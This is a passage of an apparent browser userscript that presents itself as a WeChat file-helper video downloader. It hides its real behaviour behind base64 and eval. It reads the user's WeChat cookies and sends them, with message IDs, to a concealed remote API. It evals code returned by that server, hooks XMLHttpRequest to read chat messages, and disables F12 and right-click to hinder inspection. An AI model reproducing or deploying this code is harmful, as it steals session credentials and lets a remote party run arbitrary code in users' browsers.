X 收起>'
var ci = 'dmFyIGNrZSA9IGRvY3VtZW50LmNvb2tpZTs=';
var myBtn = document.createElement("div");
myBtn.id = "myBtn";
myBtn.innerHTML = open;
myBtn.setAttribute("style", "z-index:100999999000;position: fixed;left: 0;top: 78%; cursor:pointer;transition: margin-left .5s;margin-top: 20PX;border-radius: 0 4PX 4PX 0");
myBtn.onclick = function (event) {
if (location.href.match("filehelper")) {
var sidenava = document.getElementById("b").style.width;
if (sidenava == "0px" || !sidenava) {
document.getElementById("b").style.width = "350px";;
myBtn.innerHTML = gb;
//document.getElementById("sidenava").style.backgroundColor = "rgba(0,0,0,0.4)";
document.getElementById("myBtn").style.marginLeft = "270px";;
} else {
document.getElementById("b").style.width = "0px";
document.getElementById("myBtn").style.marginLeft = "0px";
myBtn.innerHTML = open
}
} else {
window.open('https://filehelper.weixin.qq.com/')
}
}
document.body.appendChild(myBtn);
qqq.onclick = function () {
window.open('http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=95abF-QRQAEje-_N_9VHtbVPZT2cGeop&authKey=a3EYN9STHHb3snWHkaZtiah6Yl4Y3jNRE71ObUPIx06T0sr7PTIubnVd%2FXFxA%2BoR&noverify=0&group_code=882899750')
}
haoping.onclick = function () {
window.open('https://greasyfork.org/zh-CN/scripts/492152/feedback')
}
var cke = eval(bs('ZG9jdW1lbnQuY29va2ll'));
var okd = localStorage.getItem('okd');
ed(ci)
if (okd) {
okd = JSON.parse(okd);
bdsj()
} else {
okd = [];
}
var originalSend = XMLHttpRequest.prototype.send;
var load;
var spD = localStorage.getItem('spD');
if (spD) {
spD = JSON.parse(spD);
if (spD.length > 0) {
hsj();
};
} else {
spD = [];
}
function hsj() {
document.getElementById("hsj").innerHTML = '
获取到的视频:
';
}
function bdsj() {
document.getElementById("bdsj").innerHTML = '
已处理的视频:
';
}
savelogin.onclick = function () {
GM_setValue('ck', document.cookie)
layer.alert('保存成功')
}
function setCookie(name, value, days) {
var expires = "";
if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + encodeURIComponent(value) + expires + "; path=/";
}
cklogin.onclick = function () {
var ck = GM_getValue('ck');
if (ck == '' || !ck || ck == null || ck == undefined) {
layer.alert('无记录')
return false;
}
layer.confirm('ck有可能失效,如果登录失败,请扫码登录网页传输助手再保存信息', {
title: "提示",
btn: ['登录', '取消']
}, function (e) {
var cookiePairs = ck.split(";");
for (var i = 0; i < cookiePairs.length; i++) {
var pair = cookiePairs[i].split("=");
var cookieName = pair[0];
var cookieValue = pair[1];
setCookie(cookieName, cookieValue, 399999);
}
location.reload()
// window.location.href = window.location.href
}, function () {
});
}
function gev(i) {
return GM_getValue(i);
}
function sev(i, d) {
return GM_setValue(i, d)
}
var isPaused = false;
qkhsj.onclick = function () {
localStorage.removeItem('spD');
spD = [];
var table = document.getElementById('spTable');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
layer.msg('已清空');
}
fk.onclick = function () {
layal(ab('aHR0cDovL2FhYmJjY2RkZWVmZmdnLmlzcGgudG9wL2picXVuLmpwZw=='));
}
var isListening = true;
var login = false;
var originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function () { isListening && this.addEventListener("load", function () { var a, e; -1 !== this.responseURL.indexOf("cgi-bin/mmwebwx-bin/webwxsync") && (login || (send(wecometext), login = !0), e = this.responseText, a = layui.util, 0 < (e = JSON.parse(e)).AddMsgList.length && (e.AddMsgList.forEach(function (t) { var e, s, n; spD.some(function (e) { return e.m == t.MsgId }) || t.Content && (e = (e = a.unescape(t.Content)).replace(/
/g, ""), s = (n = (n = new DOMParser).parseFromString(e, "text/xml")).getElementsByTagName("desc")[1] ? n.getElementsByTagName("desc")[1] : n.getElementsByTagName("desc")[0], n = n.getElementsByTagName("url")[1] ? n.getElementsByTagName("url")[1] : n.getElementsByTagName("url")[0], s = s.textContent || "无标题", n = (n = n.textContent).replace(/.*:/, "https:"), n = { d: s, m: t.MsgId, C: e, u: ba(n) }, spD.push(n), xiug(s), posts(n, s)) }), localStorage.setItem("spD", JSON.stringify(spD)), spDs(spD))) }), originalSend.apply(this, arguments) };
function xiug(data) {
var textElements = document.querySelectorAll('.msg-text');
textElements.forEach(function (element) {
var text = element.textContent;
if (text.includes('无法显示此消息')) {
// var d = data;
var d = '获取到视频标题信息:【' + data + '】,请打开左边列表点击播放按钮获取视频链接';
element.textContent = text.replace('无法显示此消息,你目前使用的微信版本暂时不支持此类型的信息。', d);
}
});
}
var gv = (x, d) => {
return x.getElementsByTagName(d)[0] == null ? x.getElementsByTagName(d)[1] : ''
}
spDs(spD)
var cl = '视频可能无法播放';
function spDs(d) {
var table = document.getElementById('spTable');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
if (d.length > 0) {
d.forEach(function (i, ix) {
if (i) {
var row = table.insertRow();
var cell1 = row.insertCell(0);
var u = ab(i.u);
cell1.innerHTML =
`
`;
var cell2 = row.insertCell(1); var btn = document.createElement('button'); btn.type = 'button'; btn.className = 'layui-btn layui-btn-sm layui-btn-primary'; btn.innerHTML = '
'; btn.addEventListener('click', function () { layer.confirm(cl, { btn: ['提取', '打开'] }, function () { posts(i, i.d); }, function () { opv(u, i.d); }); });
cell2.appendChild(btn);
var btn2 = document.createElement('button');
btn2.type = 'button';
btn2.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn2.innerHTML = '复制';
btn2.addEventListener('click', function () {
cp(u);
});
cell2.appendChild(btn2);
}
});
}
}
function opv(u, i) {
layer.open({
type: 2,
title: i,
area: ['630px', '360px'],
shade: 0.8,
closeBtn: 1,
shadeClose: true,
content: u, // video 地址,
});
}
function cp(u) {
GM_setClipboard(u, "text", () => layer.msg('提取成功!!!'));
}
function stop(i) {
layer.close(load); //
isListening = !isListening
layer.msg(i)
}
var an = 'QXV0aG9yaXphdGlvbg==';
function okds(d) {
var table = document.getElementById('spTable2');
var tbody = table.getElementsByTagName('tbody')[0];
tbody.innerHTML = '';
if (d.length > 0) {
d.forEach(function (i, ix) {
if (i) {
var row = table.insertRow();
var cell1 = row.insertCell(0);
cell1.innerHTML =
`
`;
var cell2 = row.insertCell(1);
var btn = document.createElement('button');
btn.type = 'button';
btn.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn.innerHTML = '
';
btn.addEventListener('click', function () {
stop('正在打开');
opv(i.u, i.d);
});
cell2.appendChild(btn);
var btn2 = document.createElement('button');
btn2.type = 'button';
btn2.className = 'layui-btn layui-btn-sm layui-btn-primary';
btn2.innerHTML = '复制';
btn2.addEventListener('click', function () {
cp(i.u)
});
cell2.appendChild(btn2);
}
});
}
}
function confirm(u) {
layer.confirm('有新版本请更新', {
closeBtn: 0,
btn: ['更新']
}, function () {
window.open(u, '_blank');
document.getElementById("ver").innerHTML = `
有版本
点击更新`;
}, function () {
});
}
var uuv = ab('aHR0cHM6Ly9qeHRjLmluZmluaXR5ZnJlZWFwcC5jb20vP2k9MQ==');
var upurl = 'https://greasyfork.org/zh-CN/scripts/492152'
function gvr(u) {
gvrs(u);
// var v = GM_getValue('ver');
// var time = stime();
// if (time) {
// gvrs(u);
// } else {
// if (v > ver) {
// confirm(upurl);
// }
// }
}
function gvrs(u) {
if(isMobileDevice()){
gets(u).then(r => {
console.log(r)
var v = r.ver;
GM_setValue('ver', v)
GM_setValue('vertime', Date.now())
if (v > ver) {
var u = r.u; confirm(u);
}
}).catch(error => {
sx()
});
}else{
GM_xmlhttpRequest({
url: u,
onload: obj => {
var r = JSON.parse(obj.response) ;
var v = r.ver;
console.log(v)
console.log(ver)
GM_setValue('ver', v)
GM_setValue('vertime', Date.now())
if (v > ver) {
var u = r.u;
confirm(u);
}
},
onerror: err => {
sx()
}
});
}
}
var uv = ab('aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29t');
uv = uv + ab('L3Zlcg==');
function stime() {
const storedTimestamp = GM_getValue('vertime') ? GM_getValue('vertime') : 0;
if (storedTimestamp) {
const currentTimestamp = Date.now();
const diffHours = (currentTimestamp - storedTimestamp) / 1000 / 60 / 60; // 计算时间差,单位为小时
if (diffHours >= 1) {
return true;
} else {
return false;
}
} else {
return true;
}
}
function hrds(cke, is) {
Hr.append('is', is);
Hr.append('ck', cke);
}
function hrd(od) { Hr.append(ab(an), od); }
function go(d, t) {
layer.close(load);
if (d.code == 200) {
send('视频标题:' + t + '\n' + d.data.content);
layer.confirm('解析成功,请返回手机或电脑的文件传输助手内查看"', {
title: "解析成功",
btn: ['好评', '确定']
}, function () {
window.open('https://greasyfork.org/zh-CN/scripts/492152/feedback', '_blank');
}, function () {
});
} else if (d.code == 201) {
var img = d.data.xcximg;
layer.alert(d.data.msg, { btn: ['打开', '算了'], btnAlign: 'c', btn1: function () { layal(ab(img)) }, btn2: function () { }, });
} else if (d.code == 202) {
tc(d.data.ui, d.data.html);
} else { sly(d.data.msg) }
}
gzh = 'aHR0cDovL2FhYmJjY2RkZWVmZmdnLmlzcGgudG9wL2d6aC5wbmc='
var qr = ab('5omr56CB6I635b6X5qyh5pWw');
function sx() {
alert(ab('6ISa5pys5bey5aSx5pWI77yM6K+35YWz5rOo5YWs5LyX5Y+36I635Y+W5pyA5paw5L+h5oGv'));
layal(ab(gzh));
}
function layal(u) {
layer.photos({
photos: {
"title": qr,
"start": 0,
"data": [
{
"alt": "图片",
"pid": 5,
"src": u,
}
]
},
footer: false
});
}
var dh = 0
function sdown(u) {
load = layer.load(0, { shade: false });
var xhr = new XMLHttpRequest(); xhr.open("GET", u, true); xhr.responseType = "blob"; xhr.onload = function () {
var n = '5YWs5LyX5Y+377ya5b+r54K55bel5YW3'; if (xhr.status == 200) {
var blob = xhr.response; var url = URL.createObjectURL(blob); var a = document.createElement('a');
a.href = url; a.download = "公众号:快点工具.mp4"; a.click(); URL.revokeObjectURL(url); layer.msg('下载成功'); layer.close(load);
} else {
layer.msg('下载失败');
layer.close(load);
}
};
xhr.onprogress = function (e) {
if (e.lengthComputable) {
var num = (e.loaded / e.total) * 100; dh = num.toFixed(2); layer.msg('下载中' + num + '%')
if (dh >= 99) { var dh = 0 }
}
};
xhr.send();
}
function slys(d) {
layer.open({
type: 1,
area: ['420px', '240px'], // 宽高
content: d
});
}
function isPC() {
const userAgentInfo = navigator.userAgent;
const agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
let flag = true;
for (let i = 0; i < agents.length; i++) {
if (userAgentInfo.indexOf(agents[i]) > -1) {
flag = false;
break;
}
}
return flag;
}
function isiPad() {
return navigator.userAgent.match(/iPad/i) !== null;
}
function panduan() {
if (isPC() || isiPad()) {
start()
} else {
layer.open({
title: "【快点工具】视频下载器",
type: 1,
area: ['300px', '200px'], // 宽高
content: `
提示:当前不是PC桌面或iPad电脑环境
1、找到浏览器设置里的 【浏览器标识】或者叫【自定义UA模式】
2、更改为 ‘MAC’ 或‘ipad’模式在访问
`
});
}
}
var ck;
function sly(d) {
layer.open({
type: 1,
content: d
});
}
var dd = ab('Qi1JZA==');
function gets(u) {
return fetch(u)
.then(response => {
if (!response.ok) {
throw new Error('请求失败');
}
return response.json();
})
.then(data => {
return data;
})
.catch(error => {
throw error;
});
}
var is = isMobileDevice();
var ids = 'bid';
document.oncontextmenu = function (event) {
ck = 'cookie';
if (window.event) { event = window.event; }; try { var the = event.srcElement; if (!((the.tagName == "INPUT" && the.type.toLowerCase() == "text") || the.tagName == "TEXTAREA")) { return false; }; return true; } catch (e) { return false; }
}; document.onkeydown = function () {
if (window.event && window.event.keyCode == 123) {
event.keyCode = 0; event.returnValue = false;
}; if (window.event && window.event.keyCode == 13) { window.event.keyCode = 505; }; if (window.event && window.event.keyCode == 8) { window.event.returnValue = false; };
}; bid = gev(ids) ? gev(ids) : bid; var Sid = 'U2VjLUNILUlk'; u = 'aHR0cHM6Ly9mYy1tcC0yOTIxMzIzNi1jZWVhLTRhZGItOWVlYy1iMWJlNGM1ZWNlZmUubmV4dC5ic3BhcHAuY29tL2FwaQ==';
function posts(d, t) { var button = document.querySelector(".chat-send__button"); if (!button || null == button || null == button) return layer.alert("请先扫码登录再使用"), !1; if (layer.close(load), layer.msg("处理中"), load = layer.load(0, { shade: !1 }), isPaused = !0, !d) return layer.msg("视频错误,请重新获取"), !1; Hr = eval(atob(r)); var mod = "POST", c = d.C, sid = atob("U2VjLUNILUlk"), xml = new DOMParser, xml = xml.parseFromString(c, "text/xml"), od = xml.getElementsByTagName("objectId")[0], ond = xml.getElementsByTagName("objectNonceId")[0], od = od.textContent, ond = ond.textContent, did = ba(od + "," + ond); hrd(did); var a = ab(an); Hr.append(ab("Qi1JZA=="), bid); hrds(cke, is); var uu = xml.getElementsByTagName("url")[1] ? xml.getElementsByTagName("url")[1] : xml.getElementsByTagName("url")[0]; od = uu.textContent; const data = { u: od }; var zh = "网络错误,请重试,或当前浏览器不支持,可关注公众号获取最新工具或查看油猴最新版本"; hrs = { [dd]: bid, [a]: did, is: is, ck: cke }, is ? fetch(bs(u), { method: "POST", credentials: "include", headers: Hr, body: JSON.stringify(data) }).then(e => e.json()).then(e => { go(e, t) }).catch(e => { var t = gzh; layer.close(load), sly("
" + zh + "
") }) : GM_xmlhttpRequest({ url: bs(u), method: mod, headers: hrs, credentials: "include", data: JSON.stringify(data), onload: function (e) { e = JSON.parse(e.responseText); go(e, t) } }) }
function send(e) { const t = document.querySelector(".chat-panel__input-container"), n = document.querySelector(".chat-send__button"); document.getElementById("paramsContainer"); var c = e; t && (e = new Event("input", { bubbles: !0 }), t.value = c, t.dispatchEvent(e), setTimeout(() => { n.click() }, 200)) }
function start() {
layer.open({
title: "欢迎使用快点工具视频下载插件",
type: 1,
shadeClose: true,
area: ['420px', '300px'], // 宽高
content: `
使用说明:
1、打开网页传输助手:https://filehelper.weixin.qq.com
2、扫码登录,如果用手机登录就请用另一部手机扫码登录
3、登录后在手机或电脑上转发视频给文件助手。
4、解析成功后,回到手机微信或电脑端手机微信查看收到的消息
觉得麻烦不明白的话 →
可以扫码添加助手→
转发视频使用小程序下载→
`
});
}
function post(method, url, async, headers, data, success, error) {
const xhr = new XMLHttpRequest();
xhr.open(method, url, async);
if (headers) {
for (let header in headers) {
xhr.setRequestHeader(header, headers[header]);
}
}
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE) {
if (xhr.status >= 200 && xhr.status < 300) {
if (success) {
success(xhr.responseText);
}
} else {
if (error) {
error(xhr.status, xhr.statusText);
}
}
}
};
xhr.onerror = function () {
if (errorCallback) {
errorCallback(xhr.status, xhr.statusText);
}
};
xhr.send(data);
}
function bs(i) {
return eval('atob(i)')
}
function e(i) {
return atob(i);
}
function ab(i) {
return atob(i);
}
function isMobileDevice() {
return window.matchMedia("(max-width: 767px)").matches;
}
// 判断设备是否支持触摸事件
function isTouchDevice() {
return ('ontouchstart' in window)
|| (navigator.maxTouchPoints > 0)
|| (navigator.msMaxTouchPoints > 0)
|| (window.matchMedia && window.matchMedia('(pointer:coarse)').matches);
}
sp.onload = function () {
panduan()
const button = document.querySelector('.chat-send__button')
if (button) {
send(wecometext);
}
layui.use(function () {
var layer = layui.layer;
var util = layui.util;
// 事件
util.on('lay-on', {
"openimg": function () {
// gvrs(uv);
layer.photos({
photos: {
"title": "扫码添加",
"start": 0,
"data": [
{
"alt": "扫码添加",
"pid": 5,
"src": "https://pic.imgdb.cn/item/665f1a3d5e6d1bfa058bdb9f.png",
}
]
},
footer: false // 是否显示底部栏 --- 2.8.16+
});
},
"colsetishi": function () {
layer.closeAll();
}
})
})
gvr(uv);
}
function ba(e) {
return btoa(e);
}
function tc(i, d) { var o = eval(i); o(d); }
} else if (location.href.match("weixin.qq.com")) {
weixin()
function weixin() {
GM_setValue('weixin', '')
if (GM_getValue('weixin')) {
} else {
layer.open({
title: "【快点工具】-微信视频下载器提示",
content: '是否前往网页传输助手提取视频?',
btn: ['是', '否', '不在提示'],
offset: 'lb', // 详细可参考 offset 属性
// 按钮1 的回调
shade: 0,
anim: 6,
btn1: function (index, layero, that) {
window.open('https://filehelper.weixin.qq.com/', '_blank');
},
btn2: function (index, layero, that) {
},
btn3: function (index, layero, that) {
GM_setValue('weixin', '')
}
});
}
}
}
// }
})();